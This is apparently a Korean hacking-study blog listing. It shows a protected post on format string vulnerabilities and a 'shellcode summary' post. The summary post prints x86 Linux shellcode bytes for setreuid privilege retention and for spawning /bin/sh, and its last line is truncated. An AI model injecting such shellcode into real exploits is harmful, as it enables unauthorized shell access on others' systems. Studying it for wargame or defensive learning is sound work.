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hacking/system

• Format String 취약점이란?

  보호글 2018. 11. 18. 02:37

  보호되어 있는 글입니다.

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• 쉘 코드 정리

  hacking/system 2018. 11. 14. 02:40

  // 16 Byte, setreuid( geteuid() , geteuid() );\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80 // 25 Byte, shellcode\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80 // 41 Byte\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0..

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